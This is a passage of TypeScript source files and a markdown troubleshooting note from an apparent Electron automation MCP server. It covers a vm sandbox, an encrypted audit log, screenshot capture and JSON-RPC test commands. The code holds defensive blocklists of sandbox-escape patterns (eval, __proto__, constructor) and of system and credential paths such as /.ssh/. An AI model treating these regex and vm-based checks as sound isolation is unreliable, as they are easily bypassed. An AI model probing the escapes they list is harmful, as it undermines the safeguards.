result: result,
executionTime,
};
} catch (error) {
const executionTime = Date.now() - startTime;
logger.error(`Sandboxed execution failed [${sessionId}]:`, error);
return {
success: false,
error: error instanceof Error ? error.message : String(error),
executionTime,
};
}
}
private validateCode(code: string): { isValid: boolean; errors: string[] } {
const errors: string[] = [];
// Check for blacklisted functions
for (const func of this.options.blacklistedFunctions) {
const regex = new RegExp(`\\b${func}\\s*\\(`, 'g');
if (regex.test(code)) {
errors.push(`Forbidden function: ${func}`);
}
}
// Check for blacklisted objects
for (const obj of DEFAULT_BLACKLISTED_OBJECTS) {
const regex = new RegExp(`\\b${obj}\\b`, 'g');
if (regex.test(code)) {
errors.push(`Forbidden module/object: ${obj}`);
}
}
// Check for dangerous patterns
const dangerousPatterns = [
/require\s*\(/g,
/import\s+.*\s+from/g,
/\.constructor/g,
/\.__proto__/g,
/prototype\./g,
/process\./g,
/global\./g,
/this\.constructor/g,
/\[\s*['"`]constructor['"`]\s*\]/g,
/\[\s*['"`]__proto__['"`]\s*\]/g,
/Function\s*\(/g,
/eval\s*\(/g,
/window\./g,
/document\./g,
/location\./g,
/history\./g,
/navigator\./g,
/alert\s*\(/g,
/confirm\s*\(/g,
/prompt\s*\(/g,
];
for (const pattern of dangerousPatterns) {
if (pattern.test(code)) {
errors.push(`Dangerous pattern detected: ${pattern.source}`);
}
}
return {
isValid: errors.length === 0,
errors,
};
}
private async executeInIsolation(code: string, sessionId: string): Promise<any> {
// Create a secure wrapper script
const wrapperCode = this.createSecureWrapper(code);
// Write to temporary file
const tempDir = join(process.cwd(), 'temp', sessionId);
await fs.mkdir(tempDir, { recursive: true });
const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS
try {
await fs.writeFile(scriptPath, wrapperCode);
// Execute in isolated Node.js process
const result = await this.executeInProcess(scriptPath);
return result;
} finally {
// Cleanup
try {
await fs.unlink(scriptPath);
await fs.rm(tempDir, { recursive: true, force: true });
// Also try to clean up the parent temp directory if it's empty
try {
const parentTempDir = join(process.cwd(), 'temp');
await fs.rmdir(parentTempDir);
} catch {
// Ignore if not empty or doesn't exist
}
} catch (cleanupError) {
logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError);
}
}
}
private createSecureWrapper(userCode: string): string {
return `
"use strict";
const vm = require('vm');
// Create isolated context
const originalProcess = process;
const originalConsole = console;
// Create safe console
const safeConsole = {
log: (...args) => originalConsole.log('[SANDBOX]', ...args),
error: (...args) => originalConsole.error('[SANDBOX]', ...args),
warn: (...args) => originalConsole.warn('[SANDBOX]', ...args),
info: (...args) => originalConsole.info('[SANDBOX]', ...args),
debug: (...args) => originalConsole.debug('[SANDBOX]', ...args)
};
// Create a secure context with only safe globals
const sandboxContext = vm.createContext({
console: safeConsole,
Math: Math,
Date: Date,
JSON: JSON,
parseInt: parseInt,
parseFloat: parseFloat,
isNaN: isNaN,
isFinite: isFinite,
String: String,
Number: Number,
Boolean: Boolean,
Array: Array,
Object: Object,
RegExp: RegExp,
Error: Error,
TypeError: TypeError,
RangeError: RangeError,
SyntaxError: SyntaxError,
// Provide a safe setTimeout that's actually synchronous for safety
setTimeout: (fn, delay) => {
if (typeof fn === 'function' && delay === 0) {
return fn();
}
throw new Error('setTimeout not available in sandbox');
}
});
try {
// Execute user code in isolated VM context
const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, {
timeout: 5000, // 5 second timeout
displayErrors: true,
breakOnSigint: true
});
// Send result back
originalProcess.stdout.write(JSON.stringify({
success: true,
result: result
}));
} catch (error) {
originalProcess.stdout.write(JSON.stringify({
success: false,
error: error.message,
stack: error.stack
}));
}
`;
}
private executeInProcess(scriptPath: string): Promise<any> {
return new Promise((resolve, reject) => {
const child = spawn('node', [scriptPath], {
stdio: ['ignore', 'pipe', 'pipe'],
timeout: this.options.timeout,
});
let stdout = '';
let stderr = '';
child.stdout.on('data', (data) => {
stdout += data.toString();
});
child.stderr.on('data', (data) => {
stderr += data.toString();
});
child.on('close', (code) => {
if (code === 0) {
try {
const result = JSON.parse(stdout);
if (result.success) {
resolve(result.result);
} else {
reject(new Error(result.error));
}
} catch (parseError) {
reject(new Error(`Failed to parse execution result: ${parseError}`));
}
} else {
reject(new Error(`Process exited with code ${code}: ${stderr}`));
}
});
child.on('error', (error) => {
reject(error);
});
});
}
}
```
--------------------------------------------------------------------------------
/src/security/audit.ts:
--------------------------------------------------------------------------------
```typescript
import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs';
import { join } from 'path';
import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto';
import { logger } from '../utils/logger';
export interface AuditLogEntry {
timestamp: string;
sessionId: string;
action: string;
command?: string;
riskLevel: 'low' | 'medium' | 'high' | 'critical';
success: boolean;
error?: string;
executionTime: number;
sourceIP?: string;
userAgent?: string;
}
export interface SecurityMetrics {
totalRequests: number;
blockedRequests: number;
highRiskRequests: number;
criticalRiskRequests: number;
averageExecutionTime: number;
topCommands: { command: string; count: number }[];
errorRate: number;
}
export class SecurityLogger {
private logDir: string;
private encryptionKey: Buffer;
constructor(logDir: string = 'logs/security') {
this.logDir = logDir;
this.encryptionKey = this.getOrCreateEncryptionKey();
// Note: ensureLogDirectory is called in logSecurityEvent to handle async properly
}
async logSecurityEvent(entry: AuditLogEntry): Promise<void> {
try {
// Ensure directory exists before writing
await this.ensureLogDirectory();
const logFile = this.getLogFilePath(new Date());
const encryptedEntry = this.encryptLogEntry(entry);
const logLine = JSON.stringify(encryptedEntry) + '\n';
await fs.appendFile(logFile, logLine, 'utf8');
// Also log to console for immediate monitoring
const logLevel = this.getLogLevel(entry.riskLevel);
logger[logLevel](
`Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`,
{
sessionId: entry.sessionId,
riskLevel: entry.riskLevel,
executionTime: entry.executionTime,
},
);
} catch (error) {
logger.error('Failed to write security log:', error);
}
}
async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> {
try {
const entries = await this.readLogEntries(since);
const totalRequests = entries.length;
const blockedRequests = entries.filter((e) => !e.success).length;
const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length;
const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length;
const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0);
const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0;
const commandCounts = new Map<string, number>();
entries.forEach((e) => {
if (e.command) {
const truncated = e.command.substring(0, 50);
commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1);
}
});
const topCommands = Array.from(commandCounts.entries())
.sort((a, b) => b[1] - a[1])
.slice(0, 10)
.map(([command, count]) => ({ command, count }));
const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0;
return {
totalRequests,
blockedRequests,
highRiskRequests,
criticalRiskRequests,
averageExecutionTime,
topCommands,
errorRate,
};
} catch (error) {
logger.error('Failed to generate security metrics:', error);
throw error;
}
}
async searchLogs(criteria: {
action?: string;
riskLevel?: string;
since?: Date;
until?: Date;
limit?: number;
}): Promise<AuditLogEntry[]> {
try {
const entries = await this.readLogEntries(criteria.since, criteria.until);
let filtered = entries;
if (criteria.action) {
filtered = filtered.filter((e) => e.action === criteria.action);
}
if (criteria.riskLevel) {
filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel);
}
if (criteria.limit) {
filtered = filtered.slice(0, criteria.limit);
}
return filtered;
} catch (error) {
logger.error('Failed to search security logs:', error);
throw error;
}
}
private async ensureLogDirectory(): Promise<void> {
try {
await fs.mkdir(this.logDir, { recursive: true });
} catch (error) {
logger.error('Failed to create log directory:', error);
}
}
private getOrCreateEncryptionKey(): Buffer {
const keyPath = join(this.logDir, '.security-key');
try {
// Try to read existing key
const keyData = readFileSync(keyPath);
return Buffer.from(keyData);
} catch {
// Generate new key
const key = randomBytes(32);
try {
// Ensure directory exists before writing key
mkdirSync(this.logDir, { recursive: true });
writeFileSync(keyPath, key);
// Restrict permissions on the key file
chmodSync(keyPath, 0o600);
} catch (error) {
logger.warn('Failed to save encryption key:', error);
}
return key;
}
}
private encryptLogEntry(entry: AuditLogEntry): any {
const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
const encrypted: any = { ...entry };
for (const field of sensitiveFields) {
if (encrypted[field]) {
const value = String(encrypted[field]);
encrypted[field] = this.encryptString(value);
}
}
return encrypted;
}
private encryptString(text: string): string {
try {
const iv = randomBytes(16);
const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
return iv.toString('hex') + ':' + encrypted;
} catch {
// Fallback to hash if encryption fails
return createHash('sha256').update(text).digest('hex');
}
}
private decryptString(encryptedText: string): string {
try {
const parts = encryptedText.split(':');
if (parts.length !== 2) return '[ENCRYPTED]';
const iv = Buffer.from(parts[0], 'hex');
const encrypted = parts[1];
const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
} catch {
return '[ENCRYPTED]';
}
}
private getLogFilePath(date: Date): string {
const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD
return join(this.logDir, `security-${dateStr}.log`);
}
private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' {
switch (riskLevel) {
case 'critical':
return 'error';
case 'high':
return 'error';
case 'medium':
return 'warn';
default:
return 'info';
}
}
private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> {
const entries: AuditLogEntry[] = [];
const now = new Date();
const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago
const endDate = until || now;
// Read log files for the date range
const currentDate = new Date(startDate);
while (currentDate <= endDate) {
const logFile = this.getLogFilePath(currentDate);
try {
const content = await fs.readFile(logFile, 'utf8');
const lines = content.trim().split('\n');
for (const line of lines) {
if (line.trim()) {
try {
const entry = JSON.parse(line);
entries.push(this.decryptLogEntry(entry));
} catch (parseError) {
logger.warn('Failed to parse log entry:', parseError);
}
}
}
} catch {
// File doesn't exist or can't be read - skip silently
}
currentDate.setDate(currentDate.getDate() + 1);
}
return entries.sort(
(a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(),
);
}
private decryptLogEntry(entry: any): AuditLogEntry {
const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
const decrypted = { ...entry };
for (const field of sensitiveFields) {
if (decrypted[field]) {
decrypted[field] = this.decryptString(decrypted[field]);
}
}
return decrypted as AuditLogEntry;
}
}
// Global security logger instance
export const securityLogger = new SecurityLogger();
```
--------------------------------------------------------------------------------
/src/screenshot.ts:
--------------------------------------------------------------------------------
```typescript
import { chromium } from 'playwright';
import * as fs from 'fs/promises';
import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto';
import { logger } from './utils/logger';
import { scanForElectronApps } from './utils/electron-discovery';
import * as path from 'path';
// Generate a fallback encryption key if none is provided
function generateFallbackKey(): string {
const fallbackKey = randomBytes(32).toString('hex');
logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session');
logger.warn('⚠️ Screenshots will not be decryptable after restart!');
logger.warn('⚠️ For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable');
logger.warn('⚠️ Generate a permanent key with: openssl rand -hex 32');
return fallbackKey;
}
// Validate and get encryption key with fallback
function getEncryptionKey(): string {
const key = process.env.SCREENSHOT_ENCRYPTION_KEY;
if (!key) {
return generateFallbackKey();
}
if (key === 'default-screenshot-key-change-me') {
logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key');
logger.warn('⚠️ Please set a secure key with: openssl rand -hex 32');
return generateFallbackKey();
}
if (key.length < 32) {
logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY too short - using temporary key');
logger.warn('⚠️ Key must be at least 32 characters. Generate with: openssl rand -hex 32');
return generateFallbackKey();
}
return key;
}
interface EncryptedScreenshot {
encryptedData: string;
iv: string;
salt: string; // Add salt to be stored with encrypted data
timestamp: string;
}
/**
* Validate if a file path is safe for screenshot output
*/
function validateScreenshotPath(outputPath: string): boolean {
if (!outputPath) return true;
// Normalize the path to detect path traversal
const normalizedPath = path.normalize(outputPath);
// Block dangerous paths
const dangerousPaths = [
'/etc/',
'/sys/',
'/proc/',
'/dev/',
'/bin/',
'/sbin/',
'/usr/bin/',
'/usr/sbin/',
'/root/',
'/home/',
'/.ssh/',
'C:\\Windows\\System32\\',
'C:\\Windows\\SysWOW64\\',
'C:\\Program Files\\',
'C:\\Users\\',
'\\Windows\\System32\\',
'\\Windows\\SysWOW64\\',
'\\Program Files\\',
'\\Users\\',
];
// Check for dangerous path patterns
for (const dangerousPath of dangerousPaths) {
if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) {
return false;
}
}
// Block path traversal attempts
if (normalizedPath.includes('..') || normalizedPath.includes('~')) {
return false;
}
// Block absolute paths to system directories
if (path.isAbsolute(normalizedPath)) {
const absolutePath = normalizedPath.toLowerCase();
if (
absolutePath.startsWith('/etc') ||
absolutePath.startsWith('/sys') ||
absolutePath.startsWith('/proc') ||
absolutePath.startsWith('c:\\windows') ||
absolutePath.startsWith('c:\\program files')
) {
return false;
}
}
return true;
}
// Validate that required environment variables are set
function validateEnvironmentVariables(): string {
return getEncryptionKey();
}
// Encrypt screenshot data for secure storage and transmission
function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot {
try {
// Get validated encryption key (with fallback)
const password = validateEnvironmentVariables();
const algorithm = 'aes-256-cbc';
const iv = randomBytes(16);
// Derive a proper key from the password using PBKDF2
const salt = randomBytes(32);
const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512');
const cipher = createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex');
encrypted += cipher.final('hex');
return {
encryptedData: encrypted,
iv: iv.toString('hex'),
salt: salt.toString('hex'), // Store salt with encrypted data
timestamp: new Date().toISOString(),
};
} catch (error) {
logger.warn('Failed to encrypt screenshot data:', error);
// Fallback to base64 encoding if encryption fails
return {
encryptedData: buffer.toString('base64'),
iv: '',
salt: '', // Empty salt for fallback
timestamp: new Date().toISOString(),
};
}
}
// Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol)
export async function takeScreenshot(
outputPath?: string,
windowTitle?: string,
): Promise<{
filePath?: string;
base64: string;
data: string;
error?: string;
}> {
// Validate output path for security
if (outputPath && !validateScreenshotPath(outputPath)) {
throw new Error(
`Invalid output path: ${outputPath}. Path appears to target a restricted system location.`,
);
}
// Inform user about screenshot
logger.info('📸 Taking screenshot of Electron application', {
outputPath,
windowTitle,
timestamp: new Date().toISOString(),
});
try {
// Find running Electron applications
const apps = await scanForElectronApps();
if (apps.length === 0) {
throw new Error('No running Electron applications found with remote debugging enabled');
}
// Use the first app found (or find by title if specified)
let targetApp = apps[0];
if (windowTitle) {
const namedApp = apps.find((app) =>
app.targets.some((target) =>
target.title?.toLowerCase().includes(windowTitle.toLowerCase()),
),
);
if (namedApp) {
targetApp = namedApp;
}
}
// Connect to the Electron app's debugging port
const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`);
const contexts = browser.contexts();
if (contexts.length === 0) {
throw new Error(
'No browser contexts found - make sure Electron app is running with remote debugging enabled',
);
}
const context = contexts[0];
const pages = context.pages();
if (pages.length === 0) {
throw new Error('No pages found in the browser context');
}
// Find the main application page (skip DevTools pages)
let targetPage = pages[0];
for (const page of pages) {
const url = page.url();
const title = await page.title().catch(() => '');
// Skip DevTools and about:blank pages
if (
!url.includes('devtools://') &&
!url.includes('about:blank') &&
title &&
!title.includes('DevTools')
) {
// If windowTitle is specified, try to match it
if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) {
targetPage = page;
break;
} else if (!windowTitle) {
targetPage = page;
break;
}
}
}
logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`);
// Take screenshot as buffer (in memory)
const screenshotBuffer = await targetPage.screenshot({
type: 'png',
fullPage: false,
});
await browser.close();
// Encrypt screenshot data for security
const encryptedScreenshot = encryptScreenshotData(screenshotBuffer);
// Convert buffer to base64 for transmission
const base64Data = screenshotBuffer.toString('base64');
logger.info(
`Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`,
);
// If outputPath is provided, save encrypted data to file
if (outputPath) {
await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot));
// Also save unencrypted for compatibility (in production, consider removing this)
await fs.writeFile(outputPath, screenshotBuffer);
return {
filePath: outputPath,
base64: base64Data,
data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`,
};
} else {
return {
base64: base64Data,
data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`,
};
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
throw new Error(
`Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`,
);
}
}
```
--------------------------------------------------------------------------------
/src/security/manager.ts:
--------------------------------------------------------------------------------
```typescript
import { CodeSandbox, SandboxResult } from './sandbox';
import { InputValidator } from './validation';
import { securityLogger, AuditLogEntry } from './audit';
import { randomUUID } from 'crypto';
import { logger } from '../utils/logger';
import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config';
export interface SecurityConfig {
enableSandbox: boolean;
enableInputValidation: boolean;
enableAuditLog: boolean;
enableScreenshotEncryption: boolean;
defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical';
sandboxTimeout: number;
maxExecutionTime: number;
}
export interface SecureExecutionContext {
command: string;
args?: any;
sourceIP?: string;
userAgent?: string;
operationType: 'command' | 'screenshot' | 'logs' | 'window_info';
}
export interface SecureExecutionResult {
success: boolean;
result?: any;
error?: string;
executionTime: number;
riskLevel: 'low' | 'medium' | 'high' | 'critical';
blocked: boolean;
sessionId: string;
}
export class SecurityManager {
private config: SecurityConfig;
private sandbox: CodeSandbox;
private securityLevel: SecurityLevel;
private sandboxCache = new Map<string, boolean>();
constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) {
this.securityLevel = securityLevel || getDefaultSecurityLevel();
const defaultConfig = getSecurityConfig(this.securityLevel);
this.config = {
enableSandbox: true,
enableInputValidation: true,
enableAuditLog: true,
enableScreenshotEncryption: true,
defaultRiskThreshold: 'medium',
sandboxTimeout: 5000,
maxExecutionTime: 30000,
...defaultConfig,
...config,
};
// Set the security level in the validator
InputValidator.setSecurityLevel(this.securityLevel);
this.sandbox = new CodeSandbox({
timeout: this.config.sandboxTimeout,
maxMemory: 50 * 1024 * 1024, // 50MB
});
logger.info('Security Manager initialized with config:', {
...this.config,
securityLevel: this.securityLevel,
});
}
setSecurityLevel(level: SecurityLevel) {
this.securityLevel = level;
InputValidator.setSecurityLevel(level);
// Update config based on new security level
const newConfig = getSecurityConfig(level);
this.config = { ...this.config, ...newConfig };
logger.info(`Security level updated to: ${level}`);
}
getSecurityLevel(): SecurityLevel {
return this.securityLevel;
}
async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> {
const sessionId = randomUUID();
const startTime = Date.now();
logger.info(`Secure execution started [${sessionId}]`, {
command: context.command.substring(0, 100),
operationType: context.operationType,
});
try {
// Step 1: Input Validation
const validation = InputValidator.validateCommand({
command: context.command,
args: context.args,
});
if (!validation.isValid) {
const reason = `Input validation failed: ${validation.errors.join(', ')}`;
return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
}
// Step 2: Risk Assessment
if (
validation.riskLevel === 'critical' ||
(this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high')
) {
const reason = `Risk level too high: ${validation.riskLevel}`;
return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
}
// Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch)
let executionResult: SandboxResult;
if (
context.operationType === 'command' &&
this.config.enableSandbox &&
this.shouldSandboxCommand(context.command)
) {
// Only sandbox if this looks like actual JavaScript code, not a command name
executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command);
} else {
// For command names (like 'click_by_text') and other operations, skip sandbox
// The actual JavaScript generation and execution happens in the enhanced commands
executionResult = {
success: true,
result: validation.sanitizedInput.command,
executionTime: 0,
};
}
// Step 4: Create result
const result: SecureExecutionResult = {
success: executionResult.success,
result: executionResult.result,
error: executionResult.error,
executionTime: Date.now() - startTime,
riskLevel: validation.riskLevel,
blocked: false,
sessionId,
};
// Step 5: Audit Logging
if (this.config.enableAuditLog) {
await this.logSecurityEvent(context, result);
}
logger.info(`Secure execution completed [${sessionId}]`, {
success: result.success,
executionTime: result.executionTime,
riskLevel: result.riskLevel,
});
return result;
} catch (error) {
const result: SecureExecutionResult = {
success: false,
error: error instanceof Error ? error.message : String(error),
executionTime: Date.now() - startTime,
riskLevel: 'high',
blocked: false,
sessionId,
};
if (this.config.enableAuditLog) {
await this.logSecurityEvent(context, result);
}
logger.error(`Secure execution failed [${sessionId}]:`, error);
return result;
}
}
updateConfig(newConfig: Partial<SecurityConfig>): void {
this.config = { ...this.config, ...newConfig };
logger.info('Security configuration updated:', newConfig);
}
getConfig(): SecurityConfig {
return { ...this.config };
}
// Private helper methods
private createBlockedResult(
sessionId: string,
startTime: number,
reason: string,
riskLevel: 'low' | 'medium' | 'high' | 'critical',
): SecureExecutionResult {
return {
success: false,
error: reason,
executionTime: Date.now() - startTime,
riskLevel,
blocked: true,
sessionId,
};
}
private async logSecurityEvent(
context: SecureExecutionContext,
result: SecureExecutionResult,
): Promise<void> {
const logEntry: AuditLogEntry = {
timestamp: new Date().toISOString(),
sessionId: result.sessionId,
action: context.operationType,
command: context.command,
riskLevel: result.riskLevel,
success: result.success,
error: result.error,
executionTime: result.executionTime,
sourceIP: context.sourceIP,
userAgent: context.userAgent,
};
await securityLogger.logSecurityEvent(logEntry);
}
/**
* Determines if a command should be executed in a sandbox
* @param command The command to check
* @returns true if the command should be sandboxed
*/
shouldSandboxCommand(command: string): boolean {
// Check cache first for performance
if (this.sandboxCache.has(command)) {
return this.sandboxCache.get(command)!;
}
const result = this._shouldSandboxCommand(command);
// Cache result (limit cache size to prevent memory leaks)
if (this.sandboxCache.size < 1000) {
this.sandboxCache.set(command, result);
}
return result;
}
/**
* Internal method to determine if a command should be sandboxed
*/
private _shouldSandboxCommand(command: string): boolean {
// Skip sandboxing for simple command names (like MCP tool names)
if (this.isSimpleCommandName(command)) {
return false;
}
// Sandbox if it looks like JavaScript code
const jsIndicators = [
'(', // Function calls
'document.', // DOM access
'window.', // Window object access
'const ', // Variable declarations
'let ', // Variable declarations
'var ', // Variable declarations
'function', // Function definitions
'=>', // Arrow functions
'eval(', // Direct eval calls
'new ', // Object instantiation
'this.', // Object method calls
'=', // Assignments (but not comparison)
';', // Statement separators
'{', // Code blocks
'return', // Return statements
];
return jsIndicators.some((indicator) => command.includes(indicator));
}
/**
* Checks if a command is a simple command name (not JavaScript code)
* @param command The command to check
* @returns true if it's a simple command name
*/
private isSimpleCommandName(command: string): boolean {
// Simple command names are typically:
// - Single words or snake_case/kebab-case
// - No spaces except between simple arguments
// - No JavaScript syntax
const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/;
return simpleCommandPattern.test(command.trim());
}
}
// Global security manager instance
export const securityManager = new SecurityManager();
```
--------------------------------------------------------------------------------
/REACT_COMPATIBILITY_ISSUES.md:
--------------------------------------------------------------------------------
```markdown
# React Compatibility Issues Documentation
This document provides concrete examples of React compatibility issues with the Electron MCP Server, including exact commands, error outputs, and technical details for debugging.
## Issue 1: Click Commands Fail with preventDefault
### Problem Description
React components that call `e.preventDefault()` in click handlers cause MCP click commands to report false failures, even though the click actually works correctly.
### Technical Details
- **Affected Commands**: `click_by_text`, `click_by_selector`
- **Error Location**: `src/utils/electron-commands.ts` line 496-499
- **Root Cause**: `dispatchEvent()` returns `false` when `preventDefault()` is called, which was incorrectly treated as a failure
### Reproduction Steps
#### 1. Target Application Setup
React component with preventDefault:
```jsx
const handleClick = (e) => {
e.preventDefault(); // This causes the MCP failure
console.log('Button clicked successfully');
};
<button id="react-button" onClick={handleClick}>
React Button
</button>
```
#### 2. MCP Command
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js
```
#### 3. Error Output (Before Fix)
```
[MCP] INFO: Tool call: send_command_to_electron
[MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' }
[MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 }
[MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' }
{"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
```
#### 4. Browser Console (Proof Click Works)
```
React button clicked successfully
Global click detected: {target: "BUTTON", id: "react-button", defaultPrevented: true, bubbles: true, cancelable: true}
```
#### 5. Success Output (After Fix)
```
[MCP] INFO: Tool call: send_command_to_electron
[MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' }
[MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 }
[MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' }
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully clicked element (score: 113.27586206896552): \"React Button (preventDefault)\" - searched for: \"React Button\""}],"isError":false},"jsonrpc":"2.0","id":1}
```
### Code Fix Applied
**File**: `src/utils/electron-commands.ts`
**Lines Removed** (496-499):
```typescript
if (!clickSuccessful) {
throw new Error('Click events were cancelled by the page');
}
```
**Explanation**: `preventDefault()` is normal React behavior and doesn't indicate a failed click.
---
## Issue 2: Form Input Detection Working Correctly
### Problem Description (Original Report)
Original report claimed: "fill_input commands return 'No suitable input found' despite inputs being visible in get_page_structure output."
### Investigation Results
**Status**: ✅ **RESOLVED** - Issue was incorrectly reported. Form input detection works perfectly.
### Technical Details
- **Affected Commands**: `fill_input`
- **Scoring Algorithm**: `src/utils/electron-input-commands.ts` lines 180-217
- **Actual Status**: Working correctly for React-rendered inputs
### Test Results
#### 1. Page Structure Detection
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```
**Output**:
```json
{
"result": {
"content": [{
"type": "text",
"text": "✅ Command executed: {\n \"inputs\": [\n {\n \"type\": \"text\",\n \"placeholder\": \"Enter username...\",\n \"label\": \"Username:\",\n \"id\": \"username\",\n \"name\": \"username\",\n \"visible\": true\n },\n {\n \"type\": \"email\",\n \"placeholder\": \"[email protected]\",\n \"label\": \"Email:\",\n \"id\": \"email\",\n \"name\": \"email\",\n \"visible\": true\n },\n {\n \"type\": \"password\",\n \"placeholder\": \"Enter password...\",\n \"label\": \"Password:\",\n \"id\": \"password\",\n \"name\": \"password\",\n \"visible\": true\n },\n {\n \"type\": \"number\",\n \"placeholder\": \"25\",\n \"label\": \"Age:\",\n \"id\": \"age\",\n \"name\": \"age\",\n \"visible\": true\n },\n {\n \"type\": \"textarea\",\n \"placeholder\": \"Enter your comments...\",\n \"label\": \"Comments:\",\n \"id\": \"comments\",\n \"name\": \"comments\",\n \"visible\": true\n }\n ]\n}"
}],
"isError": false
}
}
```
#### 2. Text Input Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "john_doe"}}}}' | node dist/index.js
```
**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"john_doe\""}],"isError":false},"jsonrpc":"2.0","id":2}
```
#### 3. Email Input Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js
```
**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Email:\" with: \"[email protected]\""}],"isError":false},"jsonrpc":"2.0","id":3}
```
#### 4. Selector-Based Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"selector": "#username", "value": "updated_username"}}}}' | node dist/index.js
```
**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"updated_username\""}],"isError":false},"jsonrpc":"2.0","id":4}
```
### Scoring Algorithm Details
The scoring algorithm in `electron-input-commands.ts` successfully matches inputs by:
1. **Exact text matches** (100 points): label, placeholder, name, id
2. **Partial text matching** (50 points): contains search term
3. **Fuzzy matching** (25 points): similarity calculation
4. **Visibility bonus** (20 points): visible and enabled inputs
5. **Input type bonus** (10 points): text/password/email inputs
---
## Testing Commands Reference
### Complete Test Sequence
#### 1. Start Test Environment
```bash
# Start React test application
npm run test:react
# Or manually:
cd tests/integration/react-compatibility
electron test-react-electron.cjs
```
#### 2. Basic Connectivity Test
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "get_electron_window_info", "arguments": {}}}' | node dist/index.js
```
#### 3. Page Structure Analysis
```bash
